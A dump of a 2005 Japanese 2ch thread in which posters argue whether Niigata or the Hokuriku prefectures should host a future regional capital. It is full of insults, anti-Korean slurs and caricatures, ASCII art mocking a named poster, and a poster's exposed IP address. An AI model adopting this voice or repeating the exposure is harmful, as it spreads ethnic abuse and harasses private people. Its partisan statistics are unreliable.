名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:08:48 DegkFUkq<>下越人よ、悪あがきはヤメレ。 <<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:14:40 DegkFUkq<> <br> 　★北陸新幹線：沿線人口<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:18:38 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:20:40 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:27:37 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:29:18 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>

>>433
確かにこいつの新潟攻撃は汚くてけがらわしい

このスレにアク禁になった荒らしがいるから貼っとく

>>437
こんなにあったのか

これらのまちＢＢＳへのカキコを参考にして、このスレの誰がpointか当ててみよう。


77 名前： 雪ん子 投稿日： 2004/03/06(土) 06:08:44 ID:bxLojX92 [ af196.ade.point.ne.jp ]

面積は同じくらいだが、

北：３１２万人
信：２２１万人
越：２４５万人

圧倒的に北陸が有利。
北陸新幹線を北信越、日本海側のメイン動脈だから
僻地新潟はまず不利。そして長野と北陸じゃやっぱ北陸。
北信越の最強地域北陸の中で、北信越の地理的な重心である
富山市が州都候補に一番近い。


120 名前： 雪ん子 投稿日： 2004/10/31(日) 15:21:53 ID:xVESC1MY [ eo109.ade2.point.ne.jp ]

まず北陸3県の合併が先だ。県をもう少し減らすことから入るべし。

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

>>432
まともな人間はｷﾀｸﾞﾆを見ないし
とっていてもあんまりまともに見てない
>>431
九州新幹線が無駄だと思いますか？
そう思う感性があれば長岡−上越間の工事がいかに無駄かきずく。
新潟だけが特別と思うな。そんなのは地域エゴだ。
大体新潟県の政治家は山形への延長のほうを期待してますから、残念。

あとね道路が整備されてても近畿・東海−新潟のラインはないから。
北陸長野の長所を取るな。
北陸長野はその長所があるから、大都市圏との結びつきを強くしたいの。

北陸４県を貫く大動脈道路

北陸自動車道

全国的にも有名だ

>>441
しかし、記事は真実を掲載している。

>>443
>>416
ｷﾀｸﾞﾆを出すなんて品性疑われるべ。

129 名前：失笑。 ◆/q3IBffcPs 投稿日：05/01/23 22:03:34 ID:6kDj9HeP
>>128
まあそうだけどな。
「地震は天罰だ」とかの書き込みを見ていい気分するヤツはいないだろ。

今回の地震を経験した新潟人は金沢で地震があってもそんな書き込みをしないと思う。

まだ失笑はこんな嘘いってんのか
韓国のサイトでのことを勝手にキム沢とすりかえてずっと言ってる
自分で言ってて本当に信じ込んじゃったのか？

週刊文春　[11月11日号]

新潟の被災者を鞭打つ韓国の掲示板「もっと死ね」「天罰」
http://bbs.enjoykorea.naver.co.jp/jaction/read.php?id=enjoyjapan_16&nid=956095&work=search&st=subject&sw

ソースはこれ

有名なことなのに失笑はずっと金沢が言ったっと言っている
繰り返して言えば事実になると思うのはいいかげんやめろ

失笑は狼少年みたいなもんだからな。誰も本気で相手にしてない。

前スレにも増して盛んな議論が繰り広げられている事は良い事だ。
ここまでスレが伸びたのは本当にすごいと思う。

これからも北信越州都新潟市を語りましょう。

何だかんだ言っても大都市にならなくては何も始まらないのが日本の現状だ

>>413
の北國新聞の記事からしてそう思える

やはり道州制のカギは新潟県がにぎっているのか

いや、政令指定都市だろ

>>433
(*^ーﾟ)b ｸﾞｯｼﾞｮﾌﾞ!!

良ｽﾚage






失笑市ね

>>449
ここの新潟人はｷﾀｸﾞﾆの電波を知らないから引用するけど
ｷﾀｸﾞﾆを知ってる北陸の人間には本気にしているやつが馬鹿に見える。

北国新聞はよく笑い者になっていると思うが。

北国→北國

>>439
以前埼玉在住キム疑惑をかけられた時の擬装じゃないか。上越新幹線スレでも廃止、激減を連呼していたのに埼玉在住キム疑惑の後にやっぱり上越新幹線はあるんだからいいんじゃねとか言ってるしな。

439=point

しかし政府のど真ん中にいた内閣官房副長官経験者の石原氏の発言だよ。
真実性は確かな感じがする。

それに金沢市議会でも同様な発言があったことだし。

これは新聞社の種類とは関係無いんじゃ？

金沢なんかどっちにしろ中心にはなれないし枠組み的にどこかに従属するオチ。

北信越で北陸３県なんて主張してるのは金沢人だけw

>>460
しかも実際は裸の王様で根っこは近隣に支配、征服されている。実力無しのへたれ

３県だけ見ても
経済力は
富山＞＞石川＞福井
だから金沢には無理だと思う

と新潟富山石川に住んだ事があるオレが言ってみる

皆良いとこだったと思うけどね(´・_・｀)

新潟人が必死だな

住んだら経済力ってわかんのか？

経済力は色々調べた訳よ

>>465
言い訳がお上手なようで。
実際どこも無理。
富山単独でも無理だろうよ。
県の借金自体は新潟ほどではないが
石川富山とも一兆円で優良とはいえないよな。

>>460
このスレでどこででてきてんの？
またｷﾀｸﾞﾆの妄想ですか？
あれは石川県の恥なので出さないでください。
北陸3件なんてまともな人間なら考えないよ。

>>458
彼はもう現役を退いてるんじゃないの？
細川−村山政権のときだし。
だいたいハッパかけてるだけだって。
中央も地方に合併してスリム化してもらいたいからね。
人口120万の県で70万以上の市が生まれるのは
県も望んでないし自然の形じゃない
それを努力不足とただオウムのように言われても困るんだがな

どちらにしても
権威に弱いことで。
さすが土建王国。
せいぜいﾏｷｺが総理大臣になる妄想でもしててください。

>>466
要するにそうだって事を言ってるんだよ？？

新潟の貧民がキタグニを馬鹿にするとは滑稽だな。
ニダ潟日報の朝鮮左翼新聞よりはキタグニの方がはるかにマシである。
新潟は財政再建団体になって解体されるのが現実だろ。

新潟市開発年表

９６　中核市　新潟空港滑走路２５００ｍ完成　新潟空港新ターミナル完成
９７　磐越自動車道全通　Ｊ２アルビ誕生　地域拠点空港指定
９８　ﾎﾉﾙﾙ　ｸﾞｱﾑ　ﾊﾙﾋﾟﾝ　ｼｬﾝﾊｲ　ｼｰｱﾝ定期航空路線　りゅ〜とぴあ完成　中核国際港湾指定
００　５０万人突破　ＦＡＺ港指定
０１　黒崎合併５３万　新潟スタジアム完成　ｺﾝﾌｪﾃﾞﾚｰｼｮﾝｽﾞ杯　日本代表戦含む３試合
０２　ﾜｰﾙﾄﾞｶｯﾌﾟ開催　柳都大橋　みなとﾄﾝﾈﾙ完成　日東道（〜中条）完成
０３　朱鷺メッセ（展示場、会議場、高層複合ビル）　ｷﾘﾝｶｯﾌﾟ　第２合同庁舎着工

０４　Ｊオールスター戦　古町に大学・複数の専門学校が開校
０５　合併７９万都市　特例債９００億円　周辺地域との一体化整備開始
０６　政令指定都市昇格　新潟駅周辺整備事業着工　新潟新市民病院着工　新潟県野球場着工

激動の１０年でふ。合併が確実になり今年度から周辺市町村との一体化県事業が
早くもスタートしています。本格始動は合併後の特例債がおりてからですが。

本州の日本海側にはだいたい５極があります。高速道路を見れば分かり易いが、
日本海側は太平洋ベルトと違って、細切れで点で太平洋側と結ばれているにすぎない。
５極とは秋田地域、山形庄内地域、新潟地域、北陸(３県)地域、山陰地域である。
これらはそれぞれつながりは薄く、太平洋側への経路を確保しているだけである。

しかし同じ裏日本でも新潟地域と北陸(三県)地域は群を抜いて大きく、
日本海側でも唯一直接につながっている。
新潟は関越道ルートで東京とのルートを、北陸は北陸道ルートの米原で関西中京
とのルートをそれぞれ確保しているにすぎなかったが、高速道路も１５年前ぐらい
に新潟と北陸は日本海側では唯一直接つながった。これは太平洋側がすべて直接
つながりを持っているのとは対称的である。
よって普通、日本海側とはほとんどが新潟から北陸にかける地域を指す。
そして新潟と北陸が日本海側の２大地域というよりはほぼ全てと言っても過言ではない。

>>470
またまた山形と仲いいじゃんｗ

日本列島の中央―「要」に位置する新潟、富山、石川、福井の北陸４県は、
食やエネルギー・個性ある文化・産業・観光資源・人材の輩出などによって、
日本の成長・発展に貢献してきました。
今、北陸は、日本海東北自動車道、東海北陸自動車道、能越自動車道、
舞鶴若狭自動車道、中部縦貫自動車道などの高規格幹線道路網の整備により
さらなる連携を進めることで、世界中の人々を惹きつける魅力ある地域づくり
を実現し、日本全土に活力を与えていきます。
北陸4県の県内総生産は1,661億ドル（約22.8兆円）。これはデンマーク一国
の国内総生産に匹敵する規模。
http://210.131.8.6/road/kokikaku/
北陸地方高規格道路網整備促進協議会 新潟県・富山県・石川県・福井県

>>472
北陸4県なんて一緒にするな。
上越が分離して上越県、
もしくは旧柏崎県なら入れてもいいけど

>>473
もともと「北陸」という地名の由来は、古代律令時代の地域行政区画として
「五幾七道」が定められた際に、現在の新潟県、富山県、石川県、福井県に
あたる７ヵ国（越後、佐渡、越中、能登、加賀、越前、若狭）を「北陸道」
と位置付けたことによる。

政令指定都市は都会であり、
それ以外は田舎。
だから北陸では、新潟だけが都会で、
富山、金沢、福井は田舎。
北陸は田舎だけど、
新潟だけは都会と言われるゆえんだ。

>>474
確かにそうだが
現在北陸といえば富山石川福井を指す。
新潟はいままで関東圏面してきたんだから
こういうときだけ北陸にもどってきてほしくないな。

>>475
一般の感覚では
新潟は田舎ですが何か？
政令指定都市だから都会とかそういう話じゃないだろう。
もう少し世界を広げたほうがいいぞ。

一人芝居は楽しいかい？

>>477
煽るならsageるなよｗ

IDに注目!ｗ
地理お国自慢スレ立て依頼所
http://travel2.2ch.net/test/read.cgi/chiri/1090573954/226
266 ：名無しの歩き方＠お腹いっぱい。：05/01/19 23:06:48 ID:DegkFUkq
【タイトル】↓
■衰退■北陸新幹線にびびる下越人■上越は支線■
【名前】
【メール欄(省略可)】
【本文】↓

篠田下越市長

私は基本的にはですね，新潟駅から少しでも北の方へ新幹線の利用を伸ばしていかないと，
今後，北陸新幹線ができると，そういう状況になった時に，上越新幹線が日本で初めての
ローカル新幹線になるという恐れ，これは笑い話では済まない部分が出てくると思います。
http://www.city.niigata.niigata.jp/info/kouiki/gappei/setsumeikai/20031031_minami.html

拠点化という点では北陸新幹線が開通する２０１０年には上越新幹線が北へ延びないと
ローカル新幹線になって金沢に負けてしまう心配があります。
http://www.y693.com/y693/topics/kouen_040913/houkoku.html

佐藤ケン新潟市議

新潟の人だけの新幹線になるわけで、需要はあるのか？
あっても上越新幹線２、３時間に一本で十分。つーか、そうなる。
あと予想されるのは、上越新幹線では東京に行けなくなる。
高崎駅発着になる可能性（JR関係者から聞きました）東京行くのに北陸新幹線に乗り換えるようになる。
これは新幹線のローカル線化だけではなく新潟自体のローカル化。
企業も日本海側の拠点として考えるのならば東京との交通アクセスがいいほうがいい。
政令都市構想の「企業が新潟に進出」→「雇用の場の拡大」の式算が。あと新潟出張も減るわな。
http://nn-n.jp/nnn/mag/satoken/0408.html

　くそいなか　　　　＼ クソクソいなか／
＼ くそいなか／　　　　 クソ田舎
　＼　│　／ ｳ…ｳﾝ・∧＿∧
　　／￣＼　　Λ＿Λ　∀ﾟ∩)
─（ ﾟ ∀|￣￣（ ；´д｀）￣|ヽ）
　　＼＿|∧＿∧⌒⌒⌒⌒⌒＼←新潟
　／　│（　　　　）＜クソ田舎〜＼
　　　　　（　　　　つ　 　　　　　　 　＼
　　　　（⌒）（⌒）ﾉ＼| ⌒⌒⌒⌒⌒⌒|
　　　　　　　　　　 ＼|＿＿＿＿＿_＿|

>>476

妄想は脳内だけにしとけ。
確かに一般人の感覚では田舎なのは間違いないが、現に北陸の県庁所在地で
新潟市より規模の大きい都市なんかないじゃん。
見たこともないのに偉そうな事いってんな。ボケ。

安心しろ。北陸なんかじゃね〜よ。クソバカ共

>>480
荒らすな市ね

新潟は荒されても当然の存在！

存在自体がずうずうしい立場！！

黙れ可部

誰も新潟をかばう人はいないと思う

ZW4vm0YX






お　前 も　か ！ ！

>>481
妄想？
その言葉そっくりそのままお返しします。
北陸が都会っていつ言いましたっけ？
おれは
東京>>>>>>>>新潟＞金沢＝富山
といったつもりですが何か？

というか北陸に入りたがっているのは
新潟県のほうなのですが？

北陸イラネ

というか新潟市長はバカ。政令都市になるんだから、財政の実力
ナンバーワンだ。だから当然高架のカネは市が負担するべきだ。
そもそも中越地震や、三条水害で県は大変な事態なんだ。
新潟県のリーダーなんだからそこを斟酌して市が負担する
というのが当然の態度であるべきだ。ところが民主党の２１グループ
(実は北朝鮮系の隠れ蛇民党）や蛇民当の奴らと語らって
未だに補助金カットされるのが分かっているにもかかわらず
県にたかろうとしているのは頭がいかれているとしか
思えない。これじゃあそもそも一体全体何のための政令都市だ。
財政の独自性が一番重要なことだ。

ハン板より

涙も出ないような情けない新潟！
涙も出ませんむしろ笑いが先に来ました
もうあきれはててここまでひどい田舎とは思いませんでしたw
イナカである認識一つすらしない
他県人に言いたい、新潟には来るな！
新潟には来ないほうがいい、と近県の人に言いたい
新潟に住むということは、糞田舎もの となることです
北陸人にも関東人にもまともには扱われない
涙も出ない、笑いが先に来る哀れなクソ田舎だ

　 　 　 　　∧__∧ 　 ________　
　　　　 　<丶｀Д´>/￣/￣/ ＜新潟ｱｲｺﾞｫｰ
　　　　　 （ 二二二つ /　と）　
　　　　　　| 　　　/　 / 　/　　
　 ＿＿　 | 　 　 ￣|￣￣　　　
　 ＼　 ￣￣￣￣￣￣￣＼　　
　　||＼　　　　　　　　　　 　 ＼
　　||＼||￣￣￣￣￣￣￣||￣
　　||　 ||￣￣￣￣￣￣￣||

.　∧_∧ ｲｯﾃﾖｼ!
⊂( ﾟДﾟ)　 蹴☆
.　ヽ　ﾉ⌒づ三Σ>>490
.　　し ノ~
　　　とﾉ

>>487

俺がよく読まなかったみたいだな。スマソ。
入りたがっている人間ばかりでもないこと理解して欲しい。
関東だと思い込んでるヤツもこっちには多いからな。
それはそれでかなり痛いとはおもってるけどね。

>>487
俺は学生んときに金沢にいたよ。妄想ではないと思う。

　 ∧＿∧　　　　∧＿∧　　　∧＿∧　　 ∧＿∧　　　　　∧＿∧
　 (　´∀｀）　 　（　´ー｀）　　（　｀Д´ ）　 （　ﾟ ∀ﾟ ）　　　　（　＾∀＾）
　（　　　　つ┳∪━━∪━∪━━∪━∪━━∪━┳⊂　 　 　つ
　｜ ｜　|　 ┃　　　　　　　　　　　　　　　　　　　　　 ┃　｜ ｜ ｜
　（_＿）＿） ┃　　７８万都市誕生まで あと５０日　 ┃　（_＿）＿）　
　　　　　　　┻━━━━━━━━━━━━━━━┻

http://www.city.niigata.niigata.jp/info/kouiki/seirei_shitei_toshi/kuwari2/index.html

救済で北信越州都にしてやってもいいから新潟がんがれ（ｗ

都道府県別有効求人倍率［季調値］（含パート）
http://www.mhlw.go.jp/toukei/itiran/roudou/koyou/ippan/2004/12/sankou1.html
◎平成16年12月

・福井　1.23
・富山　1.12
・石川　1.08
・長野　1.05


・全国　0.94





・新潟　0.87　←（ｹﾞﾗｗｗｗ

　　　　　　,..-‐‐―‐‐-..、
　　　　,-'´　　　　　　　 `‐、
　　　,i'　 　 　　 　 　 　 　 `i、
　　 ,l 　 　 　 　 　 　 　 　 　l、
　　,|._　　 　 　　 　 　 　 　 _.|、 　　┌─────────────
　 〈_｀`ｰ＝＝= ╋ =＝＝‐'´_〉 　　│　カン違いクソ田舎の新潟人が
　　l ｀`ｰ-.､＿＿＿＿ ,...-‐'´.l　 　 │　駄スレばっかり立てております。
　　ヽ､_|　`ー'　　/　`ー'　|_,ノ　　　｜　
　　／　`‐､_ 　 `ニ'　　 ノ　 ＼　　＜ 　全国の皆様　誠に 申し訳ございません。 　
　i'´　　、　 |``r===ｒ'´|　　,_＿_ヽ_ .｜　
.｜　　 i、　 ￣＼／￣　 ｜　╋　| │　お詫びに新潟のスレを存分に荒らして
　|、　　|、 　 　 □　.[工]├‐‐‐ｭ┘│　いただいても結構でございます。　ハイ
　 |、　 ヽ、.　　 □ 　 　 ./　　 / 　 └─────────────
　　ヽ、　ヽ―‐┌┐―‐'i 　　/
　　　 `<´.ゝ―└┘―く´｀`y
　　　　 ヽ､_)　　┐ 　　(_,.ノ
　　　　　| 　 |　 ｜　｜　 ,!
　 　 　　.l、 ｜ .｜ 　|　　|
　　 　　 .｀lｰ--‐'^ｰ--‐'l´
　　　 ,-‐'´　　　｜　 　 ｀ｰ-、
　 　 （.　　　　 　 !　　　　　　）
　　　 `ｰ--'´`ー^ー'´`‐--‐

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

　なぜか新潟市の人は道州制や政令市問題といったの話題をやたらと取り上げます
が、私は新潟の地域としての深刻な衰退の問題が新潟のみならず、裏日本では一番
深刻で重要な問題だと私は思います。特に新潟市もすでに停滞都市であり、新潟市
とその周辺地域はそろそろ減少地域になると聞きます。
　道州制といった実現可能かわからない問題などよりも、現実問題として新潟の
衰退問題についてもっとちゃんと語り合って欲しいです。なぜなら裏日本全体の
衰退は新潟の衰退によるところが大きいからです。最低でも新潟が北陸並に頑張
っていればここまで裏日本の地位が低下することもなかったと思います。
同じような地域で同じ面積なのに、北陸は312万人まで増えました。しかし新潟は
245万人しかいません。これは半世紀前の人口と変わっていません。　新潟は一度
減っているので、30年の新潟の人口が底だった時期と比べても、236万人から
245万人と9万人しか増えてません。この30年間で、北陸は277万人から312万人へと
35万人も、長野は196万人から221万人へと25万人も増えています。
　さらにこの数年間では新潟の衰退は北信越の中で突出しており非常に深刻です。
ちなみに北陸を3県合わせておかしいなどといった無意味な議論はやめてください。
だいたい面積を揃えただけです。山陰なら2県合わせても、新潟が優位です。
北陸だと面積を揃えたら負けてしまうわけで、これは密度などでも明らかです。
さらに新潟県と長野県との1県同士の人口増加の比較でも差は明らかで、新潟の
衰退がひどい状況です。新潟の地域としての相対的な地位の低下、比重の低下が
問題なのであり、行政区分けの問題ではありません。
　このままでは新潟は長野県に人口で抜かれる可能性があり、北信越でのお荷物
になってしまいます。北陸新幹線が開通すれば長野と北陸の連携が強まり、
日本海側の大動脈となり、長野〜北陸間が北信越の中心的な地域となるでしょう。
中心から外れてしまい、地理的条件が不利な新潟はさらなる激しい衰退に陥るでしょう。
新潟の衰退は北信越にとって深刻な問題です。こういった場でこそ本当につっこんで
衰退地域の新潟の危機について議論すべきだと思います。

>>498
はっきり言って、お前はバカか？
今、お前も含めた我々の新潟市が合併、政令指定都市を目指して頑張っている最中に、自ら足元をすくうマネをして大馬鹿と言いたい。
少なくとも貴様は新潟の見方ではないな。
北陸３県と新潟を対比すね所からして本当に新潟市民か疑わしいものだ。
新潟人を装った金沢人か富山人か？
さもなくば他県の手前優等生ぶったイイッ子ブリッ子だ見ていて気分が悪い。
一生懸命３０年間の新潟の衰退ぶりを宣伝しているようだが。
この先、全国的に人口は減少に転じる。
この先の都市間競争に新潟市は勝ち組みとして生き抜かねばならぬ時、何をノホホンとした事をほざいている。
新潟の危機について議論するなら、貴様のようなモタモタした事は言ってられない。
今日がだめなら明日にしまチョ、明日がだめならあさってにしまチョ、あさってがだめならしあさってにしまチョ、どこまで行っても明日がある、チョイチョイチョ〜のドンガバチョ♪みたいなことを言ってどうする？
道州制をも視野に入れて今後の我が国の地方中枢都市構築を模索すべきだ。
今新潟はこの時代を如何にして切り抜け、北信越州都として発展しなくてはならないかを、お前も、真剣に考えるべきだ。
それから、新潟県・新潟市の衰退危機は、県知事・新潟市長をはじめ合併関係市町村関係者は承知している。
今年のイタリア軒の新潟市新年会でちゃんと論議されている。
これからの時代、大変な事はお前でなくても行政関係者はしっかり解っている。
それに新潟市の発展は国策だ、たとえ卑怯と言われようが国の力を借りてでも新潟市の発展を期すのが新潟市民だろう。
これは決して間違った事ではない。なぜならもし富山金沢が新潟市みたいに政令指定都市目前で州都獲得も射程距離にあれば富山金沢市民もこうするはずだ。
あまりいい子ぶるな。

>>499
あまりに必死すぎてﾜﾛﾀ!!!ｗ
衰退すると生存本能が強くなるのだろうか？

あれだけ国税を投入しても発展しなかったのが新潟だ。
僻地に金をかけるのは無謀だろ。

>>501
それでももっと金をよこせと言ってる。
しかももっと国の金使えば発展できると思ってる痛さ。
新潟人ほど発展とか都会とかにこだわる痛い人種はいないよね。
ほんと新潟市内みたいのばっか…

>>499 お前少しはまわりの空気よく読めよ！お前みたいな考えが新潟人の考えだとしたらリアルでも新潟にとって悪影響なんだよ！ そんな自分の街さえ発展すればいいなんて発想で他の北陸､長野の理解や協力なんて得られるわけねぇだろ！

>>499
プッ
そんなに新潟だけ大事なら
越後州でも成立させて勝手に州都になってください。
もちろん上越は北陸としていただくけどｗ

確かに痛いやつがいて迷惑だけど、ここにカキコするキム厨も痛いだろ。

>>503
安心しろ。どうせここは２ちゃんだから。
協力なんて書いてると突っ込まれるのが関の山だ。

>>499
てか、新潟市の発展って国策なのか？
住んでる俺でも、初めて聞いたけどｗ

>>504
上越ならいるのか？
短絡的なクソ煽りだな。
もっと考えろ。アフォ

正直に言って新潟は北陸に必要ねーよ。

新潟を必要としているのは東北だけ。

でも、新潟は北陸と長野を必要としてるんだよねｗ

>>506
沿線人口の少ない上越新幹線がなぜ早く出来たのか？
普通北陸から先に作るだろ。
今上越着工しようとしたら大ブーイングだろうな。
北陸新幹線の沿線として重要。
これ以上衰退地域にいたらかわいそう。
もとは別の県だったんだし

>>507
ま、その通りｗ
こっちは北陸と長野の北陸信州でいいんだが。
お荷物はいらんよなｗ
>>508
同意だな。上越はまあいい。北陸と長野の沿線の仲間だ。

>>503へ
>>499は新潟人へもっと危機意識を持てと言う意味の警鐘だろう。
確かに「そんな自分の街さえ発展すればいいなんて・・・・」と言う考え方も一理ある。
だが、余りにも新潟市民はこれから展開されるであろう「生き残りを賭けた都市間競争」に対する認識が無さ過ぎる。
多少意気込みのある考えは必要だ。
長谷川前市長・平山前知事以来新潟市は本州日本海側の拠点中枢都市を目指す事を目指す方針が明確に示されている。
北信越の中枢都市を目指すからには、如何にして北信越５県を導き、将来の道州制に望むかを真剣に意識する時期に来ていると思う。
このスレは北信越州都としての新潟市を語る場だ。
前向きに北信越州の拠点、更には日本の５大拠点都市「札仙新広福」の一躍を担うべく未来を創造するべきだ。

お前らは本当にアフォだな。

新潟は明治の初期、太平洋側に搾取された銭を昭和になって取り返しただけだろ。
北陸はそれをできなかっただけじゃん。
どこぞの県からでた総理なんか、地元まで売り飛ばしてるしな。

戦略として考えたら、北陸ってスゲー御粗末だよ。てか指くわえて見てるアフォじゃん。

そんなとことはこっちから願い下げだよ。

>>510
＞「札仙新広福」ておめさん
わざと電波やってるだろ？
それか真性新潟市内かお前？
>>511
新潟が一番取り返せてねーよ。特に一番大事な富、人口とかな。
本スレじゃもう新潟の救済議論に入っている。
自分が主導できるとかいう妄想はたいがいにしとけ。そろそろな。
http://travel2.2ch.net/test/read.cgi/chiri/1106586405/66-67
http://travel2.2ch.net/test/read.cgi/chiri/1106586405/70-71

まあ、今は来る３月２１日の大合併により７８万都市となり、今年夏には巻町を編入合併して８１万都市となる事を考えよう。

ここで議論しても始まらない。
最終的には平成１９年４月１日に政令指定都市に移行後の行政機関の再編を待とう。
もし、政府内に既に構想が組まれているとすれば、
選挙区
http://www.city.yokohama.jp/me/senkan/tosho/map.html
に従った編成がなされるはずだ。

道州制・州都議論はその後に本格的に始まるだろう。

>>512
確かに人口はもう無理だろな。
県自体の財政は、お前に言われなくても知ってるよ。

誰が北陸なんかのイニシアチブが取りたいって言ってる？
てめえ達こそ1つの県にでもなったらどうだ？

再編で一緒になったらと仮定した話だろ。こっちも願い下げって考えてるやつもいるってこったよ。

>>512
いや、新潟市が本州日本海側初の政令指定都市になるのは事実だ。
「札仙新広福」が実現しても何ら不思議はない。

>>512

お前の言うところの富って何だよ。
放送メディアも少ないし、インフラすら四半世紀遅れてるのに、そんなに取り返せてるのか？

>>514
君の意見がそうでも政治家は一緒になりたいらしいよ。

>>516
とりあえず
生活水準をほかとあわせろ。
北信越では新潟だけ浮いてるからね。

インフラに関しては北陸新幹線開通で上越新幹線など
支線になるけど？
ま上越自体が田中先生の遺産みたいなもんだからな

>>515
お前はどういう電波だ？ｗ
笑えるけどわざとか？真性新潟市内か？どっちだ？
>>516
富とはヒトモノカネだ。
特にヒトだヒト。
人口激減じゃ問題外なの！
北陸に離され、長野に抜かれるペース。
富（人間）は新潟に集まらないの。

>>507同意ですな

なるほどな。
確かに県単位で考えれば、激減だわなｗ

どうしてインフラってなると新幹線でしか考えられないんだろうね、北陸のヤツは。
港湾、空港、道路すべてなんだと思うんだけど。
他揃ってるから支線でもなんでもいいよ。別に。

よく見たら州都スレだったな。
じゃ、キャンベラとかワシントンみたいな都市にでもなればいいじゃん。北陸で。

日本の未来は

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

でいいじゃないか。

同じのを何度も貼るな。

日本の拠点都市は東京都特別区部以外は、全て政令指定都市

この国では、政令指定都市にならなければ何を言っても単なる妄想にすぎない。

っていうか新潟は州都になるよりかひたすら国際化を目指すだけでいいと思う｡だから国交省以外北信越の中心でなくても別にいいんだけどなあ。

>>521
州都は政令指定都市しかありえない

>>527
鳥栖は州都狙ってるらしいが。

この記事が事実を物語っている
http://www.nsknet.or.jp/~ydp/kento/images/forum.jpg

いつの記事だ？

>>528
福岡市を差し置いて、鳥栖は常識的に無理でしょう。

>>524
それを信じて一生生きていけ。それしかない。
>>526
じっさい角栄が持ってきた土建運輸の国交省以外なんもねーじゃん。

行政（司法）機能の主要地方局（部・室）の配置状況
http://www.miebank.co.jp/mir/report/200306_r1.pdf
15ページ

>>527
ま、それを信じて生きていけ。
政令市しかなれないとか決まってたら
金沢も周りも協力して確実に政令市になるぞ。

>>532
全ては新潟市が政令指定都市移行後に行われる国の出先機関の再編と美咲町の行政庁舎の完成にかかっている。

しかしお前らって本当、国頼み一辺倒だな。国の救済にも限界があるぜ。
確かに民間主導での開発に望みは託せない地域ではあるけど。

　　　　　　　すいませんねぇ　全国の人！！！

　　　　　　　　　　:　　 　こんなの と 比較しちゃって･･･
　　　　　　　　　　　＋　 　　↓
　　　　　　　　　　　　　　∫∫∫∫　ﾌﾟｰﾝ
　　　新潟人民　　　 _,..--‐‐‐‐‐-...,_ ＋　　←学習困難
　　　マンセー 　　／:::::::::::::::::::::::::::::::::'., ∫　　
:　　　　　　　＋ 　/::::::::::::::::::::::::::::::::::::::::::::.. 　←イジメによる情緒障害
　　　　　　　　　　i, 　　　　　　　　　 ::::::::::::,　　＋
　ウヘヘヘ 　　　ゝ　 ／' 　'＼　　　 :::::::::::;　←ｷﾁｶﾞｲ粘着
　他県の女に　　 -･=-,　､-･=-　　::::::::::;'　　　
　サル扱いされた| 　.,ﾉ(・ ・ ( ⌒　　::６）　　←ｽｶﾄﾛ趣味　ょぅιﾞょ 好き
　恨みは絶対　　.l　彡ﾄｮﾖｺｲミ　　.ソ ＿＿＿＿＿＿＿
　忘れんで！　　　ヽ彡｀ニ'´ ミ　,.i　　　　+
　　　　　　　　　　　　　｀~i'' "~ __..ノ三三≡
　　　　　　　　　　　　　　　~~~~
　===========┌───----‐v‐--､==========
　　　　　　　　 　}　　 　　　　　　　　　ｉ
　　　　　　　　　`i　　　立 斤　　　/　| 失笑。◆/q3IBffcPs（代表的 新潟人）
　　　　　　　　　 | 　 　:木ﾉ |　 　　 ＜ 無職･童貞･低学歴･変質者
　　　　　　　　:　｛.　''　　 ╋┓ヾ 　. ´|
　　　　　　　　　 }.　　　　┃┃　 ..::　 |
　　　　　　　　　 |.　 　 　┏┓　　　　｝
　　　　　　　　　 l:　　　　┣┫　　　　|
　　　　　　　　　 |:::... 　　　 ┃　 　／:|
　　　 　 　　　　└───────┘

>>533
石川県じゃなくて金沢県になっちまうぞｗ

>>535
お前アフォだろ。こっちは新新潟駅の駅舎で、県と市がもめてんだ。
県に発言できるような都市もない北陸が何いってんだかな。

あと失笑、痛すぎ。でてくんな。

というか新潟市長はバカ。政令都市になるんだから、財政の実力
ナンバーワンだ。だから当然高架のカネは市が負担するべきだ。
そもそも中越地震や、三条水害で県は大変な事態なんだ。
新潟県のリーダーなんだからそこを斟酌して市が負担する
というのが当然の態度であるべきだ。ところが民主党の２１グループ
(実は北朝鮮系の隠れ蛇民党）や蛇民当の奴らと語らって
未だに補助金カットされるのが分かっているにもかかわらず
県にたかろうとしているのは頭がいかれているとしか
思えない。これじゃあそもそも一体全体何のための政令都市だ。
財政の独自性が一番重要なことだ。

>>536
こいつは除外。
こんなものを書き込むようでは、北陸３県人長野県人の未来は予想がつきそうだ。

もう一方の北信越州スレに比べて伸びますねえ〜

>>538
そりゃそうだな。
話が出た頃とは状況が全然違うしな。

話変わるけど、州都云々って問題さえなきゃ、南東北・関東・中部・近畿と隣接することになって
かなり有意義な感じはするよな。

>>537
多分越県合併も視野に入れるんじゃないの
県境だし。

>>537
富山にすら出稼ぎに行ったり土建業者が営業しなければならない
新潟に言われるとはｗ
まずは自分の町の住民が暮らせるよう水準の社会にならないと
人間が多くても意味ないね。

>>521
今旬の話題が新幹線だからだろ。
まあ支線になって悔しいのはわかるけどね

富とはヒトモノカネだ。
特にヒトだヒト。
そしてヒトは都市に集まる。都市に。
その都市のなかでも政令都市に新潟はなろうとしているのです。
地方都市や小さい県の県庁所在地程度ではもはや勝ち組みにはなれません。

新潟はもう３０年以上も前から下積みをし、時代の荒波でいくつかの紆余曲折を経ましたが
着実に新しい時代に貢献できるようビジョンをもって戦略的に動いてきました。

そのひとつの結果として今年の合併７８万都市化、８１万都市化、そして
平成１９年４月１日の政令都市化を迎えようとしています。

